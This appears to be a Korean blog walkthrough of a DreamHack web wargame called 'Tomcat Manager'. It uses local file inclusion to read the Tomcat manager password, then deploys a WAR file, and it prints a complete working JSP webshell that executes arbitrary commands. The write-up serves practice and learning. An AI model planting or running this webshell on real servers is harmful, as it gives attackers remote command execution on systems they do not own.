오늘은 DreamHacker의 웹 해킹 워게임 중 하나인 Tomcat Manager를 함께 풀어볼 예정이다.
## 문제 설명:
문제 정보를 살펴보면 /flag 경로에 접속하여 flag를 획득하면 되는 것으로 보인다.
## 문제 풀이
사이트에 접속해보니 다음과 화면이 보인다.
아무런 기능을 하지 않은 페이지가 나오고 있으며, 개발자 도구를 열어 확인해보면 다음과 같이 image 파일을 불러오는 것을 확인할 수 있다.
LFI 공격이 가능할 것 같아 다음과 같이 시도를 해보니, 실제 공격이 성공한 것을 확인할 수 있다.
주어진 파일 중 tomcat-user.xml을 확인해보면 manager 페이지가 존재하고, 해당 파일을 다운로드 하면 password을 획득할 수 있는 것으로 보인다.
manager 페이지에 접속하면 다음과 같이 비밀번호를 요구하고 있다.
이어서 주어진 Docker 파일을 확인해보면 다음과 같이 tomcat-users.xml의 절대경로를 확인할 수 있다.
LFI 공격을 통해 해당 파일을 다운로드 하여 확인해보니 다음과 같이 PASSWORD가 출력된 것을 확인할 수 있다.
로그인 성공하면 다음과 같은 페이지가 출력된다.
페이지의 아래쪽을 확인하면 다음과 같이 WAR 파일을 deploy하여 file upload 공격을 실행할 수 있는 부분이 존재한다.
간단한 webshell을 하나 작성해서 war 파일로 압축한 다음에 올리도록 하겠다.
## 공격 코드
<%@ page import="java.util.*,java.io.*"%>
<%
//
// JSP_KIT
//
// cmd.jsp = Command Execution (unix)
//
// by: Unknown
// modified: 27/06/2003
//
%>
<HTML><BODY>
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "<BR>");
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>
</pre>
</BODY></
## 실행 결과
webshell이 존재한 위치에 가서 다음과 같이 flag 파일의 위치를 확인할 수 있다.
해당 파일을 출력하면 다음과 같이 FLAG의 값을 성공적으로 출력할 수 있다.
'Wargame > DreamHack' 카테고리의 다른 글
[DreamHack 워게임] strcmp (0) | 2023.04.10 |
---|---|
[DreamHack 워게임] fly me to the moon (0) | 2023.04.09 |
[DreamHack 워게임] funjs (0) | 2023.04.07 |
[DreamHack 워게임] web-ssrf (0) | 2023.04.06 |
[DreamHack 워게임] blind-command (0) | 2023.04.05 |